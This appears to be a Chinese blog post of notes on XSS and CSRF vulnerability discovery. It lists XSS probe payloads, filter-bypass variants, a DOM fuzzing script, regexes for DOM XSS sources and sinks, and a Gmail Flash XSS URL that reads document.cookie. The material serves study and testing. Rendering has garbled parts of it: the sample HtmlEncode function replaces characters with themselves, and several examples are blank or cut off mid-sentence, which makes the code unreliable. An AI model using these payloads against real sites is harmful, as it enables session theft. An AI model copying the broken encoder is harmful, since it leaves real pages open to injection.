第六章-漏洞挖掘(一)

第六章-漏洞挖掘(…

一个漏洞的产生与很多因素都有关,譬如浏览器的差异(或者说浏览器特性)、浏览器BUG、字符集问题、漏洞对象、所在场景等。
前端漏洞挖掘主要针对XSS。
CSRF与界面劫持的漏洞本质决定这些漏洞挖掘较为简单。

CSRF的漏洞挖掘只需确认:

  • 目标表单是否有有效的token随机串。
  • 目标表单是否有验证码。
  • 目标是否判断了Referer来源。
  • 网站根目录下crossdomain.xml的"allow-access-from domain"是否是通配符。
  • 目标JSON数据似乎可以定义callback函数等。

界面操作劫持的漏洞挖掘只需确认:

  • 目标的HTTP响应头是否设置好了X-Frame-Options字段。
  • 目标是否有JavaScript的Frame Busing机制
  • 更简单的就是用iframe嵌入目标测试,若成功即存在。

6.1 普通XSS漏洞自动化挖掘思路

自动化XSS漏洞挖掘需求有两方面:
- 效率(有了广度,却忽略了深度)
- 检出率(既有广度又有深度,漏洞个数多且准确度高) 如果要检出率,很可能就是实现Fuzzing模式的工具。

效率与检出率是矛盾的通常看到的商业性质漏洞检测平台都会在两者间寻求一平衡点,这种矛盾是业务带来的。

反射型XSS挖掘为例:

6.1.1. URL玄机

反射型XSS输入点在URL。

<scheme>://<netloc>/<path>?<query>#<fragment>
<!--常见URL组成模式-->
http://www.foo.com/path/f.php?id=1&type=cool#new
<!--标准样例-->
<scheme> - http
<netloc> - www.foo.com
<path> - /path/f.php
<query> - id=1&type=cool,包括<参数名=参数值>对
<fragment> - new
<!--对应关系-->

对于这个URL来说,攻击者可控的输入点有<path> <query> <fragment>三部分。

http://www.foo.com/path/1/id#new
<!--非标准化样例-->
http://www.foo.com/path/type/cool#new

工具自动化过程中,路径参数的识别非常重要。
路径参数识别——爬虫问题
譬如SEO问题

<fragment>内的值一般不会出现在服务端解析,除非Web2.0网站,如twitter URL格式:http://twitter.com.evil!#status而这种结构的URL爬虫难以爬取。

6.1.2. HTML玄机

<query><path>情况类似。以<query>为例:
看下面一个普通的 URL:
http://www.foo.com/xss.php?id=1
攻击者会这样进行 XSS 测试,将如下 payloads 分别添加到 id=1:

<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1)/>
'"><img/src=@ onerror=alert(1)/>
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
` onmouseover=alert(1) x=`
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
'";alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
*/-->'"></iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>

然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。如果出现这些情
况,就几乎可以认为目标存在 XSS 漏洞。这些 payloads 都很有价值,它们也存在很大的差
异,玄机就出现在 HTML 中。

针对这个 URL,我们利用的输入点是 id=1,那么输出可能有如下几处:

  • HTML 标签之间,比如:出现在<div id="body">[输出]</div>位置。
  • HTML 标签之内,比如:出现在<input type="text" value="[输出]" />位置。
  • 成为 JavaScript 代码的值,比如: <script>a="[输出]";...</script>位置。
  • 成为 CSS 代码的值,比如: <style>body{font-size:[输出]px;...}</style>位置。

1. HTML标签之间

最普通的场景出现在<div id="body">[输出]</div>位置,那么提交:
id=1<script>alert(1)</script>就可以触发 XSS 了。
若是以下标签场景:

<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>

比如,代码<title><script>alert(1)</script></title>都不会弹出提示框吗?这些标签之间无法执行脚本。 XSS 漏洞挖掘机制必须具备这样的区分能力,比如,发现出现在<title></title>中,就将提交的 payload 变为:
</title><script>alert(1)</script>'
除了这些,还有两类特殊的标签
`,这种是闭合属性后又闭合标签,然后直接执行脚本。
- 两个Payload哪个好?如果对比利用效果,自然是第二个更好,因为它可直接执行。可是在工具挖掘中,哪个 payload 的成功率更高?从对比可知,第二个比第一个多了<>字符,而很多情况下,目标网站防御 XSS 很可能就过滤或编码了<>字符,所以第一个 payload 的成功率会更高,这也是漏洞挖掘工具在这个场景中必须优先使用的 payload。换句话说,我们的**工具必须知道目标环境的特殊性,然后进行针对性的挖掘,而不应该盲目**。

其他场景payload的构造:

- 输出在 src/href/action 等属性内,比如`click me`。
payload 除了各种闭合之外,还可以这样:
`javascript:alert(1)//`
`data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`
前提是我们提交的 payload 必须出现在这些属性值的开头部分( data:协议的必须作为整个属性值出现)。对于第一个 javascript:伪协议,所有的浏览器都支持,不过有些差异;对于第二个 data:协议,仅 IE 浏览器不支持。
**这两个 payload 是可以进行一些混淆的,这样可以更好地绕过过滤机制**
```html
<a href="javascript:alert(1)//html">click me</a>
如果过滤了/字符,而其他'"等特殊字符也都过滤了,怎么办?利用 JavaScript 逻辑与算数运算符,因为 JavaScript 是弱类型语言。所以,如果出现字符串与字符串之间的各种运算是合法的。比如:
javascript:alert(1)-
输出后点击同样触发,只不过浏览器会报错,这样的错误是可以屏蔽的:
window.onerror = function(){return true;}
```

- 输出在 on`*`事件内,比如`click me`。
由于 on`*`事件内是可以执行 JavaScript 脚本的。根据不同的场景,我们需要弄清楚我们的输出是作为整个 on`*`事件的值出现,还是以某个函数的参数值出现,这个函数是什么等。不同的出现场景可能需要不同的闭合策略,最终目标都是让我们的脚本能顺利执行。
```html
最神奇的场景如下:
<a href="#" onclick="eval('[输出]')">click me</a>
那么,我们的 payload 只要提交 alert(1)就可以。这种情况下,即使将那些特殊字符都
过滤了,也同样可以成功触发 XSS。
还有一点差异不得不提, HTML 标签有几十种,它们支持的 on 事件却不尽相同,甚至
在浏览器之间也出现了差异,所以实际攻击中需要进行区分。
```

- 输出在 style 属性内,比如`click me`。
(目前仅IE支持此特性)
对 IE 来说,在标签的 style 属性中只要能注入 expression 关键词,并进行适当的闭合,我们就可以认为目标存在 XSS。
```html
比如注入:
1;xss:expression(if(!window.x){alert(1);window.x=1;})
得到输出:
<a href="#" style="width:1;xss:expression(if(!window.x){alert(1);window.
x=1;})">click me</a>
```

- 属性引用符号。
我们都知道 HTML 是一个很不严格的标记语言(它的反面代表是 XML),属性值可以不用引号,或者使用单引号、双引号、反单引号(仅 IE 浏览器支持)进行引用。如:
```html
click me
这样导致我们的闭合机制需要更灵活,以更大地提高检出率。因为如果同时提交'、 "和` 这三种引号进行闭合,可能会因为网站 SQL 注入防御屏蔽了单引号导致请求失败,而目标输出又是双引号进行属性值引用的,这样就得不偿失了。
```
**所以,对于 XSS 漏洞挖掘工具来说,需要具备识别闭合引号的有无及其类型,并提交针对性的闭合 payload。**

#### 3. 成为JavaScript的值

与“输出在 on`*` 事件内”的情况类似,有**些 JavaScript 代码是服务端输出的,有时候会
将用户提交的值作为 JavaScript 代码的一部分一起输出**,如下场景:
``
在这个场景中,我们的 payload 可以是:
``闭合,无论这个
`出现在哪里,都会导致这样的 payload 可以成功。";alert(1)//这个 payload 是直接闭合了 a 变量的值引用。
还有一个需要注意的场景:
alert(1)`
又是这个神奇的 payload,比如,恰好 a 变量在其他地方被 eval 等直接执行了。
前面曾提到如果//( JavaScript 注释符)被过滤,还可以使用逻辑与算术运算符来代替。

4. 成为CSS代码的值

与输出在style属性内的情况类似。

6.1.3. 请求中的玄机

在 XSS 漏洞挖掘工具的请求机制中,也可以做很多优化。比如,具有针对性的 payload 就是一种避免冗余请求的方式
有一种思路叫做“探子请求”。在真正的 payload 攻击请求之前,总会发起一次无危害(不包含任何特殊符号)的请求,这个请求就像“探子”一样,来无影去无踪,不会被网站的过滤机制发现,就像是一次正常的请求。“探子”的目的有以下两个:

  • 目标参数值是否会出现在响应上,如果不出现,就完全没必要进行后续的 payload请求与分析,因为这些 payload 请求与分析可能会进行多次,浪费请求资源。
  • 目标参数值出现在 HTML 的哪个部分,从上面的分析我们已经知道,不同的 HTML部分对待 XSS 的机制是不一样的,请求的 payload 当然也不一样。

“探子”形式:一般是 26 个字母+10 个数字组合后,取 8位左右的随机字符串,保证在响应的 HTML 中不会与已有的字符串冲突就行。知道探子的结构后,有利于我们对“探子”进行定位,尤其是对于输入点有多组参数值时,可以大大提高挖掘的效率

关于存储型XSS

一般是表单的提交,然后进入服务端存储中,最终会在某个页面上输出。

存储型XSS输出点:

  • 表单提交后跳转到的页面有可能是输出点。
  • 表单所在的页面有可能就是输出点。
  • 表单提交后不见了,然后就要整个网站去找目标输出点,这个需要爬虫对网站进行再次爬取分析,当然这个过程是可以优化的,比如,使用页面缓存技术,判断目标页面是否变动,一般发送 Last-Modified 与 Etag 头部,根据响应状态码进行判断即可。

6.2. DOM渲染

6.2.1. HTML与JavaScript自解码机制

关于这个自解码机制,我们直接以一个例子(样例 0)来进行说明:
<input type="button" id="exec_btn" value="exec" onclick="document.write
('<img src=@ onerror=alert(123) />')" />

我们假设 document.write 里的值是用户可控的输入,点击后, document.write 出现一段
img HTML, onerror 里的 JavaScript 会执行。此时陷阱来了,我们现在提供一段 HtmlEncode
函数如下(样例 A):
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&");
s = s.replace(/</g, "<");
s = s.replace(/>/g, ">");
s = s.replace(/\"/g, """);
return s;
}
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write
(HtmlEncode('<img src=@ onerror=alert(123) />'))" />

onclick 里的这段 JavaScript 出现在 HTML 标签内,意味着这里的 JavaScript 可以进行
HTML 形式的编码,这种编码有以下两种。

  • 进制编码: &#xH;(十六进制格式)、 &#D;(十进制格式),最后的分号(;)可以不要。
  • HTML实体编码:即上面的那个 HtmlEncode。

上面的用户输入是出现在 HTML 里的情况,如果用户输入出现在<script>里的JavaScript 中:

<input type="button" id="exec_btn" value="exec" />
<script>
function $(id){return document.getElementById(id);};
$('exec_btn').onclick = function(){
document.write('<img src=@ onerror=alert(123)/>');
//document.write('<img src=@ onerror=alert(123) />');
};
</script>

这段 HTML 编码的内容在 JavaScript 执行之前自动解码吗?答案是不会,原因是用户输入的这段内容上下文环境是 JavaScript,不是 HTML(可以认为<script>标签里的内容和 HTML 环境毫无关系),此时用户输入的这段内容要遵守的是 JavaScript法则,即 JavaScript 编码,具体有如下几种形式。

  • Unicode 形式: \uH(十六进制)。
  • 普通十六进制: \xH。
  • 纯转义: \'、 \"、 \<、 >这样在特殊字符之前加\进行转义。

6.2.2. 具备HtmlEncode功能的标签

 HTML 在<textarea>中是不解析的。同理可推,这样的标签还有:
<title></title>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<xmp>没有 HtmlEncode 功能, <plaintext>在 Firefox 与 Chrome 下有差异, Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下会,这样的差异有时候会导致安全问题。
<xmp></xmp>
<plaintext></plaintext>

6.2.3.URL编码差异

浏览器在处理用户发起请求时的 urlencode 策略存在差异,导致在某些场景中出现 XSS漏洞。
如果服务端语言直接获取到 urlencode 的内容进行输出,则可能导致在 IE 场景中出现XSS 漏洞,在 Chrome 场景中出现小范围的 XSS 漏洞,而 Firefox 则比较安全。

PHP 中$_SERVER['QUERY_STRING']将获取到浏览器 urlencode 后的内容(在 django中是request.get_full_path()),而$_GET["c"]获取到的是 urlencode 之前的内容。从这个场景中看,FireFox 是最安全的,但在其他场景中就不一定了,至少 FireFox 将 ' " `
<>都编码了,如果后台处理逻辑有问题,就很可能绕过一些过滤器,接着又进行了 urldecode 编码,这时问题就出现了。

文章提到 urlencode 差异带来的安全问题同样适用于 DOM XSS

<script>
var loc = document.location.href;
document.write("<div>" + loc + "</div>");
</script>

6.2.4.DOM修正式渲染

我们经常通过查看网页源码功能来看所谓的“HTML 源码”,比如 Chrome 与 Firefox下的 view-source:http://www.foo.com/。这样看到的“HTML 源码”实际上是静态的,我们研究 DOM XSS 接触的必须是动态结果。
Firefox 安装了 Firebug 扩展,按 F12 键,在 Chrome 下按 F12 键,在 IE 8/IE 9 按 F12键都可以打开对应的调试工具,这些调试工具查看的源码就是动态结果。

浏览器在 DOM 渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异。这种修正式的渲染可以用于绕过浏览器的 XSS Filter。

“修正”功能不仅是浏览器的性质,其实在很多过滤器里都会有,有的人把这个过程叫做 DOM 重构。 DOM 重构分静态重构和动态重构,其差别就在于后者有 JavaScript 的参与。

修正包括如下内容:

  • 标签正确闭合。
  • 属性正确闭合。

6.2.5. DOM Fuzzing技巧

Python 脚本中 fuzz_xss_0.py 的代码如下:

#!/usr/bin/python
# encoding=utf-8
"""
成功会进行 dom 操作,往 result div 里附加结果
by cosine 2011/8/31
"""

def get_template(template_file):
    """获取 fuzzing 的模板文件内容"""
    f = open(template_file)
    template = f.read()
    f.close()
    return template

def set_result(result_file,result):
    """生成 fuzzing 结果文件"""
    f = open(result_file,'w')
    f.write(result)
    f.close()

if __name__ == '__main__':
    template = get_template("fuzz_xss_0.htm")
# 默认 fuzzing 模板文件是 fuzz_xss_0.htm
    fuzz_area_0 = template.find('<fuzz>')
    fuzz_area_1 = template.find('</fuzz>')
    fuzz_area = template[fuzz_area_0+6: fuzz_area_1].strip()
    #chars = [chr(47),chr(32),chr(10)]
    chars = []
    for i in xrange(255): # ASCII 码转换为字符
        if i!=62:
            chars.append(chr(i))
    fuzz_area_result = ''
    for c in chars: # 遍历这些字符,逐一生成 fuzzing 内容
        fuzz_area_r = fuzz_area.replace('{{char}}',c)
        fuzz_area_r = fuzz_area_r.replace('{{id}}',str(ord(c)))
        fuzz_area_result += fuzz_area_r + '\n'
        print fuzz_area_r
    result = template.replace(fuzz_area,fuzz_area_result)
    set_result('r.htm',result)

fuzzing 模板 fuzz_xss_0.htm 的代码如下:

<title>Fuzz XSS 0</title>
<style>
    body{font-size:13px;}
    #p{width:700px;border:1px solid #ccc;padding:5px;background-color: #eee;}
    #result{width:700px;border:1px solid #ccc;padding:5px;background-color:#eee}
    h3{font-size:15px;color:#09c;}
</style>
<script>
    function $(x){return document.getElementById(x);}
    function f(id){
        $('result').innerHTML += id+'<br />';
    }
</script>
<h3>Fuzzing Result:</h3>
<xmp>
    {{id}}: <{{char}}script>f("{{id}}")</script>
</xmp>
<div id="result"></div><!-- fuzzing 成功的字符 ASCII 码存储在这 -->
<br />
<h3>Fuzzing...:</h3>
<!-- 以下是待替换的模板标签内容 -->
<fuzz>
{{id}}: <{{char}}script>f("{{id}}")</script><br />
</fuzz>

fuzz_xss_0.py 会调用 fuzz_xss_0.htm 这个 fuzzing 模板去按需生成结果文件 r.htm,然后用浏览器打开 r.htm,如果 <fuzz></fuzz>里的某项可以被浏览器正确执行,那么就会触发 f 函数, f 函数会往 id 为 result 的<div>标签里写模糊测试成功的字符ASCII 码。

这个模糊测试的目标是寻找哪些 ASCII 字符可以出现在<script>标签的左尖括号的后面,结论是: IE 9 浏览器支持 ASCII 为 0 的字符,其他浏览器不支持,而 ASCII 为 60 的字符是<,可以忽略。

只要修改 fuzz_xss_0.htm 模板里要模糊测试的内容,就可以模糊测试我们想了解的 DOM 特性。

6.3 DOM XSS 挖掘

6.3.1. 静态方法

http://code.google.com/p/domxsswiki/wiki/FindingDOMXSS
工具化可用此中正则表达式进行匹配

输入点匹配的正则表达式如下:
/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTM
L|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|re
ferrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionS
torage|Database)/
输出点匹配的正则表达式如下:
/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((repl
ace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|eva
luate|execCommand|execScript|setTimeout|setInterval)\s*["'\])*\s*\()/

静态方法的代价,对人工参与要求很高。这个过程可以利用浏览器来达到这个目的,比如, Firefox 下用 Firebug 能统一分析目标页面加载的所有 JavaScript 脚本,可以用自带的搜索功能,用正则表达式的方式进行目标的搜索非常方便。

6.3.2. 动态方法

动态方法很难完美地实现检测引擎,这实际上是一次 JavaScript 源码动态审计的过程。

从输入点到输出点的过程中可能会非常复杂,需要很多步骤,如果要这样一步步地动态跟踪下去,其代价是很高的,如果仅关注输入点与输出点,不关注过程,那么一些逻辑判断的忽视可能会导致漏报,比如,过程中会判断输入点是否满足某个条件,才会进入输出点。

样例:

<script>
eval(location.hash.substr(1));
</script>
<!--如何检测出此DOM XSS-->
思路一:用浏览器自身的动态性,可以写 Firefox 插件,批量对目标地址发起请求(一个模糊测试过程),请求的形式是:在目标地址后加上#fuzzing 内容,比如其中一个模糊测试内容是: var x='d0mx55'。在响应回来时,我们需要第一时间注入一段脚本劫持常见的输出点函数。
  • 这样,如果要检测 DOM XSS,就要劫持所有的输出点,比较麻烦。
思路二:仍然借用浏览器动态执行的优势,写一个 Firefox 插件,我们完全以黑盒的方式进行模糊测试输入点,然后判断渲染后的 DOM 树中是否有我们期待的值。
  • 这个思路以 DOM 树的改变为判断依据,简单且准确,不过同样无法避免那些逻辑判断上导致的漏报。

6.4 Flash XSS 挖掘

6.4.1. XSF 挖掘思路

  • 静态分析
    可以使用 SWFScan 图形化界面或者用 swfdump 命令行工具进行反编译得到ActionScript 代码

  • 动态分析
    比如在 Firefox 下 Firebug 的网络请求中发现一些额外的请求,更能清晰地理解目标 Flash的运行流畅。

6.4.2. Google Flash XSS 挖掘 (样例性质)

发现过程:
首先,进行 www.google.com 搜索。
filetype:swf site:google.com
找到了很多 google.com 域上的 Flash 文件,其中就有:
http://www.google.com/enterprise/mini/control.swf
反编译得结果。
这是 AS2 代码, getURL 里直接就是_level0.onend,全局变量未初始化。这个 control.swf还关联了其他的 Flash 文件,大家有兴趣可以逐一分析,还有一些其他问题。不过对我们来说,有 XSS 就够了。

2010 年 Gmail 的一个 Flash XSS 被爆, XSS 代码网址为:
https://mail.google.com/mail/uploader/uploaderapi2.swf?apiInit=eval&apiId=alert(document.cookie)
触发代码:

var flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;
API_ID = "apiId" in flashParams ? (String(flashParams.apiId)) : ("");
API_INIT = "apiInit" in flashParams ? (String(flashParams.apiInit)) :
("onUploaderApiReady");
...
if (ExternalInterface.available) {
ExternalInterface.call(API_INIT, API_ID);
}

存在非常明显的 XSS 漏洞.

harmoc

发表评论

电子邮件地址不会被公开。 必填项已用*标注